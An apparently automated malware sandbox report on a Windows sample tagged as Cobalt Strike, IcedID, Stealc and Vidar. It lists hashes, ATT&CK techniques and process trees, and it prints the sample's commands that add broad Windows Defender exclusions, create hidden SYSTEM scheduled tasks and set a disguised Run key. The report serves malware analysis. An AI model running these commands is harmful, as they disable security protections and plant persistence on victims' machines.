1ec9c2c8c4ca4cd8ef93f49b401deb5a91276454ce22f2bf99b94b729b29806e

Analysis

max time kernel
151s
max time network
120s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
30/10/2026, 09:57

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-10-28_13ecf704a62f3722a9daf7ed9a97e708_cobalt-strike_coinminer_icedid_stealc_vidar.exe
Size 30.5MB
Sample261030-ly5a4sys6r
SHA256 1ec9c2c8c4ca4cd8ef93f49b401deb5a91276454ce22f2bf99b94b729b29806e
MD5 13ecf704a62f3722a9daf7ed9a97e708
SHA1 de9c35f41f8bedcb554355b936e310a18af47d31
SHA512 7827c5bdb78ae6d2dd37cf1ab795d71ea18eb578bd7eb0387cb36774dfb06ac3600c9c4fc9f71580bec4624d6dffc7100f2766bb83a115f42ee87f441bd74f09
SSDEEP 196608:GZKC/p+HINcZBAwLYhuR9lfn+OfIwYooiJiGD5y4IIYCYa:FC/p+HuPOc4j
TLSH
T1B267181BFA809EB7F546963548DB4BA07372E9761752078F70B0B32DBFAE3802E81545
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution persistence trojan

Malware Config

Signatures

Windows security bypass 2 TTPs 8 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\Yyafay = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
1384	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
2876	uyCmBk.exe
5672	uyCmBk.exe

Loads dropped DLL 2 IoCs

pid	Process
2876	uyCmBk.exe
5672	uyCmBk.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\Yyafay\\uyCmBk.exe\""	uyCmBk.exe

Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
3236	cmd.exe
1696	cmd.exe
5460	cmd.exe
5604	cmd.exe
1568	cmd.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\CodeIntegrity\SiPolicy.p7b	uyCmBk.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 4 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4316	cmd.exe
2824	cmd.exe
4740	cmd.exe
2648	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	2026-10-28_13ecf704a62f3722a9daf7ed9a97e708_cobalt-strike_coinminer_icedid_stealc_vidar.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	2026-10-28_13ecf704a62f3722a9daf7ed9a97e708_cobalt-strike_coinminer_icedid_stealc_vidar.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	uyCmBk.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	uyCmBk.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2932	schtasks.exe
3316	schtasks.exe
5996	schtasks.exe
3408	schtasks.exe
2176	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
5320	2026-10-28_13ecf704a62f3722a9daf7ed9a97e708_cobalt-strike_coinminer_icedid_stealc_vidar.exe
5320	2026-10-28_13ecf704a62f3722a9daf7ed9a97e708_cobalt-strike_coinminer_icedid_stealc_vidar.exe
5320	2026-10-28_13ecf704a62f3722a9daf7ed9a97e708_cobalt-strike_coinminer_icedid_stealc_vidar.exe
5320	2026-10-28_13ecf704a62f3722a9daf7ed9a97e708_cobalt-strike_coinminer_icedid_stealc_vidar.exe
5320	2026-10-28_13ecf704a62f3722a9daf7ed9a97e708_cobalt-strike_coinminer_icedid_stealc_vidar.exe
5320	2026-10-28_13ecf704a62f3722a9daf7ed9a97e708_cobalt-strike_coinminer_icedid_stealc_vidar.exe
5320	2026-10-28_13ecf704a62f3722a9daf7ed9a97e708_cobalt-strike_coinminer_icedid_stealc_vidar.exe
5320	2026-10-28_13ecf704a62f3722a9daf7ed9a97e708_cobalt-strike_coinminer_icedid_stealc_vidar.exe
5320	2026-10-28_13ecf704a62f3722a9daf7ed9a97e708_cobalt-strike_coinminer_icedid_stealc_vidar.exe
5320	2026-10-28_13ecf704a62f3722a9daf7ed9a97e708_cobalt-strike_coinminer_icedid_stealc_vidar.exe
5320	2026-10-28_13ecf704a62f3722a9daf7ed9a97e708_cobalt-strike_coinminer_icedid_stealc_vidar.exe
5320	2026-10-28_13ecf704a62f3722a9daf7ed9a97e708_cobalt-strike_coinminer_icedid_stealc_vidar.exe
5320	2026-10-28_13ecf704a62f3722a9daf7ed9a97e708_cobalt-strike_coinminer_icedid_stealc_vidar.exe
5320	2026-10-28_13ecf704a62f3722a9daf7ed9a97e708_cobalt-strike_coinminer_icedid_stealc_vidar.exe
5320	2026-10-28_13ecf704a62f3722a9daf7ed9a97e708_cobalt-strike_coinminer_icedid_stealc_vidar.exe
5320	2026-10-28_13ecf704a62f3722a9daf7ed9a97e708_cobalt-strike_coinminer_icedid_stealc_vidar.exe
5320	2026-10-28_13ecf704a62f3722a9daf7ed9a97e708_cobalt-strike_coinminer_icedid_stealc_vidar.exe
5320	2026-10-28_13ecf704a62f3722a9daf7ed9a97e708_cobalt-strike_coinminer_icedid_stealc_vidar.exe
5320	2026-10-28_13ecf704a62f3722a9daf7ed9a97e708_cobalt-strike_coinminer_icedid_stealc_vidar.exe
5320	2026-10-28_13ecf704a62f3722a9daf7ed9a97e708_cobalt-strike_coinminer_icedid_stealc_vidar.exe
5320	2026-10-28_13ecf704a62f3722a9daf7ed9a97e708_cobalt-strike_coinminer_icedid_stealc_vidar.exe
5320	2026-10-28_13ecf704a62f3722a9daf7ed9a97e708_cobalt-strike_coinminer_icedid_stealc_vidar.exe
5320	2026-10-28_13ecf704a62f3722a9daf7ed9a97e708_cobalt-strike_coinminer_icedid_stealc_vidar.exe
5320	2026-10-28_13ecf704a62f3722a9daf7ed9a97e708_cobalt-strike_coinminer_icedid_stealc_vidar.exe
5320	2026-10-28_13ecf704a62f3722a9daf7ed9a97e708_cobalt-strike_coinminer_icedid_stealc_vidar.exe
5320	2026-10-28_13ecf704a62f3722a9daf7ed9a97e708_cobalt-strike_coinminer_icedid_stealc_vidar.exe
5320	2026-10-28_13ecf704a62f3722a9daf7ed9a97e708_cobalt-strike_coinminer_icedid_stealc_vidar.exe
5320	2026-10-28_13ecf704a62f3722a9daf7ed9a97e708_cobalt-strike_coinminer_icedid_stealc_vidar.exe
5320	2026-10-28_13ecf704a62f3722a9daf7ed9a97e708_cobalt-strike_coinminer_icedid_stealc_vidar.exe
5320	2026-10-28_13ecf704a62f3722a9daf7ed9a97e708_cobalt-strike_coinminer_icedid_stealc_vidar.exe
5320	2026-10-28_13ecf704a62f3722a9daf7ed9a97e708_cobalt-strike_coinminer_icedid_stealc_vidar.exe
5320	2026-10-28_13ecf704a62f3722a9daf7ed9a97e708_cobalt-strike_coinminer_icedid_stealc_vidar.exe
2876	uyCmBk.exe
2876	uyCmBk.exe
2876	uyCmBk.exe
2876	uyCmBk.exe
2876	uyCmBk.exe
2876	uyCmBk.exe
2876	uyCmBk.exe
2876	uyCmBk.exe
2876	uyCmBk.exe
2876	uyCmBk.exe
2876	uyCmBk.exe
2876	uyCmBk.exe
2876	uyCmBk.exe
2876	uyCmBk.exe
2876	uyCmBk.exe
2876	uyCmBk.exe
2876	uyCmBk.exe
2876	uyCmBk.exe
2876	uyCmBk.exe
2876	uyCmBk.exe
2876	uyCmBk.exe
2876	uyCmBk.exe
2876	uyCmBk.exe
2876	uyCmBk.exe
2876	uyCmBk.exe
2876	uyCmBk.exe
2876	uyCmBk.exe
2876	uyCmBk.exe
2876	uyCmBk.exe
2876	uyCmBk.exe
2876	uyCmBk.exe
2876	uyCmBk.exe

Suspicious behavior: LoadsDriver 7 IoCs

pid	Process
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found

Suspicious use of AdjustPrivilegeToken 22 IoCs

description	pid	Process
Token: SeDebugPrivilege	1384	powershell.exe
Token: SeIncreaseQuotaPrivilege	1384	powershell.exe
Token: SeSecurityPrivilege	1384	powershell.exe
Token: SeTakeOwnershipPrivilege	1384	powershell.exe
Token: SeLoadDriverPrivilege	1384	powershell.exe
Token: SeSystemProfilePrivilege	1384	powershell.exe
Token: SeSystemtimePrivilege	1384	powershell.exe
Token: SeProfSingleProcessPrivilege	1384	powershell.exe
Token: SeIncBasePriorityPrivilege	1384	powershell.exe
Token: SeCreatePagefilePrivilege	1384	powershell.exe
Token: SeBackupPrivilege	1384	powershell.exe
Token: SeRestorePrivilege	1384	powershell.exe
Token: SeShutdownPrivilege	1384	powershell.exe
Token: SeDebugPrivilege	1384	powershell.exe
Token: SeSystemEnvironmentPrivilege	1384	powershell.exe
Token: SeRemoteShutdownPrivilege	1384	powershell.exe
Token: SeUndockPrivilege	1384	powershell.exe
Token: SeManageVolumePrivilege	1384	powershell.exe
Token: 33	1384	powershell.exe
Token: 34	1384	powershell.exe
Token: 35	1384	powershell.exe
Token: 36	1384	powershell.exe

Suspicious use of WriteProcessMemory 25 IoCs

description	pid	Process	procid_target
PID 2876 wrote to memory of 1384	2876	uyCmBk.exe	92
PID 2876 wrote to memory of 1696	2876	uyCmBk.exe	94
PID 1696 wrote to memory of 3408	1696	cmd.exe	96
PID 1696 wrote to memory of 4104	1696	cmd.exe	97
PID 1696 wrote to memory of 3504	1696	cmd.exe	101
PID 2876 wrote to memory of 5460	2876	uyCmBk.exe	102
PID 5460 wrote to memory of 2176	5460	cmd.exe	106
PID 5460 wrote to memory of 5812	5460	cmd.exe	107
PID 2876 wrote to memory of 5604	2876	uyCmBk.exe	108
PID 5460 wrote to memory of 1248	5460	cmd.exe	111
PID 5604 wrote to memory of 2932	5604	cmd.exe	112
PID 2876 wrote to memory of 1568	2876	uyCmBk.exe	113
PID 5604 wrote to memory of 1844	5604	cmd.exe	115
PID 1568 wrote to memory of 3316	1568	cmd.exe	116
PID 1568 wrote to memory of 4468	1568	cmd.exe	118
PID 5604 wrote to memory of 820	5604	cmd.exe	119
PID 1568 wrote to memory of 4120	1568	cmd.exe	120
PID 2876 wrote to memory of 3236	2876	uyCmBk.exe	124
PID 2824 wrote to memory of 2400	2824	cmd.exe	126
PID 4740 wrote to memory of 4152	4740	cmd.exe	127
PID 4316 wrote to memory of 4276	4316	cmd.exe	128
PID 3236 wrote to memory of 5996	3236	cmd.exe	129
PID 3236 wrote to memory of 3640	3236	cmd.exe	130
PID 3236 wrote to memory of 4340	3236	cmd.exe	132
PID 2648 wrote to memory of 5420	2648	cmd.exe	135

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\2026-10-28_13ecf704a62f3722a9daf7ed9a97e708_cobalt-strike_coinminer_icedid_stealc_vidar.exe
"C:\Users\Admin\AppData\Local\Temp\2026-10-28_13ecf704a62f3722a9daf7ed9a97e708_cobalt-strike_coinminer_icedid_stealc_vidar.exe"
1⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
PID:5320

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:2548

C:\Users\Public\Yyafay\uyCmBk.exe
"C:\Users\Public\Yyafay\uyCmBk.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2876
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:1384
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\Yyafay\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:1696
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\Yyafay\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3408
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4104
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:3504
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:5460
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2176
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:5812
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:1248
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:5604
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2932
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:1844
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:820
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:1568
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3316
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4468
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4120
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:3236
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5996
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:3640
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4340

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\Yyafay" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4316
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\Yyafay" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:4276

C:\Windows\system32\cmd.exe
cmd.exe
1⤵
PID:944

C:\Users\Public\Yyafay\uyCmBk.exe
"C:\Users\Public\Yyafay\uyCmBk.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:5672

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2824
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:2400

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4740
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:4152

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2648
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:5420

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

Clear Persistence

T1070.009

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
Size 1KB
SHA256 5713e1815750846888e4d18a6a2add86a1ac967465e7865c0e2562b418926385
MD5 8075e9786f2bd028b1b3bd43458d1527
SHA1 9af2eda8b7ce06c9bb31b8cb925d4800227f0dd1
SHA512 436b7062bc8102b7f6582bfb7b44e419b86c1ff26a209285a825dd8e893b4899c9351296817763a09a68e8a9eadb1503412278b0d367dea66f4da7c19a2ee5e0
TLSH
T14431A4AB2BAD2D879F378E8511CBE5252CF5D2805CDA0859A204C4686F083B11F8E50D
MD5 SHA1 SHA512 TLSH

Submit Download

B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
Size 1KB
SHA256 9ac77624cee186ddec41267ccb4764f5e4feb4db1b8810d8297cf27981fa6755
MD5 cfb19b690be5760f184b3b5cb32ec146
SHA1 54cb0971acbc344379f84111ea87c3f7dbdb635f
SHA512 0d21102b4eca9f381ae2cc08a554309823adf5ca2319a38b26b87a9dcf592ee53def38d0a8067a3a41d6d4cd051f5bfea61bd90c2451af8cf5ce1a2f1cef6a0a
TLSH
T1A331B6668B7D0186AB1C8F25A6C0D12B6DF5622858A85846273FC16F5A09BB75F82048
MD5 SHA1 SHA512 TLSH

Submit Download

0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
Size 512B
SHA256 8187b013d66b4307e068047c3eb4366e34e58993d8619c000303bfc8d92f674a
MD5 a08d39fa90aef7194897a44d19819b0f
SHA1 a6aff55f73b256f3ef910f5e54be569cd98bccbc
SHA512 69b9bac402156b4ad358824fe9aa679c17b2f8ea1d91b1bf204f489a1ee996a8be68b2de6de8efa4b42e36ae0d4eb7bb2f53f483fdb245681b59abf4ff2370ec
TLSH
T135F0DC2C297C412DF032D9388BC939D7097FF605200641E50EE00748EA42A0B7E53279
MD5 SHA1 SHA512 TLSH

Submit Download

B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
Size 506B
SHA256 b3fd0a79d91e1d21276df415f06dcdd5d6bc86a9e6762a9b2095395b7d1e4d5b
MD5 cd0b5559d4a4c89a89f77d7b3dfd12f6
SHA1 2ea1a2f87354ca80490e2871978274b33dcfd21a
SHA512 c87d470649819dbca5e4f10b9c78f78ba0f2419ae954d55103268f5bb44963fcbde8c28b9bb481dc80c4240dad0f1a0117954db8ace654e43fe327066ea8c92a
TLSH
T103F05C3E85D9411BF1BBA6B88AC676F15D66E233104726FE196503155F91D000CD137C
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_pyyttxda.cqx.psm1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_pyyttxda.cqx.psm1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

UxEnhance64.dll

Path C:\Users\Public\Yyafay\UxEnhance64.dll
Size 3.1MB
SHA256 69a957c1fb057bf2eb6ffb8585663f92244eab7b3ec6313dd63a77ee48bd3768
MD5 9c58567ed8d518b695d26fa70d3063f9
SHA1 8c9b4cb046a6dedd5d03b0fd868d7743344da2e9
SHA512 3dd0756eaf552a6e9fe353849360977dbfedce5c882b85150d13249a16599b9e5e399f4d3f5ec2e26b3db74acd8cb13acf0842532e26d69c38c922118f1370a4
SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+w:P9m29xx3Tiqt06ox6+z2rNNrKow
TLSH
T1B2E523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

adoresd.dat

Path C:\Users\Public\Yyafay\adoresd.dat
Size 4.8MB
SHA256 2355e5ecadaf3a140c24b9830ac0fe420fdc803f09fdd7e22cf92a2348341bcf
MD5 b7ee887cc942fcd7ef1c34374cd76a28
SHA1 6bf72c746572f58fc56e8cff968f2ce13ca0e849
SHA512 d67aebe240e91e696bbff1f255d806802385a330fc1776d5696480347d9c25ad6e2ddc25ce317ba646eaba5428a25eeb4051e7bee6536887650830fab6e1ffeb
SSDEEP 98304:SWjdk+BWRdgiQH5fi2EP8QppMsYpfemnFjrIROuF7dYutYONNClD:SWj3WRdRQH5fimPGmNc7dBtYOc
TLSH
T10C3633AB2FC2F55F5582315954D8E0216D7FFEC626CA2B5D6E7888F7A32210A04BD24C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

msadox.tb

Path C:\Users\Public\Yyafay\msadox.tb
Size 8KB
SHA256 0b7ba03b1503bb5cc0aa3afa132febe55d3ac98110a48d9b7dbfbdd4c3c2eea1
MD5 05c9beb85fadf503c4582a48efc6bf92
SHA1 a2a5cd6202ca3f4d44ed9c330c50bb555afc2f2f
SHA512 12782c80d457c54b12c5a53045dab4d3a3e42afc9c24f4e474073336da7895c193cf437c91cf1754447f34a63af7c777c374c09a45104481be61a585b62ca6d7
SSDEEP 192:NqbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:NsZqZOXQ3uqvR2Kfzp
TLSH
T15D029E05D7A20CC3D2016C71CD9EB2F5AB13A1DADA3926719C67D4C167072DE2CE620D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

uyCmBk.exe

Path C:\Users\Public\Yyafay\uyCmBk.exe
Size 135KB
SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
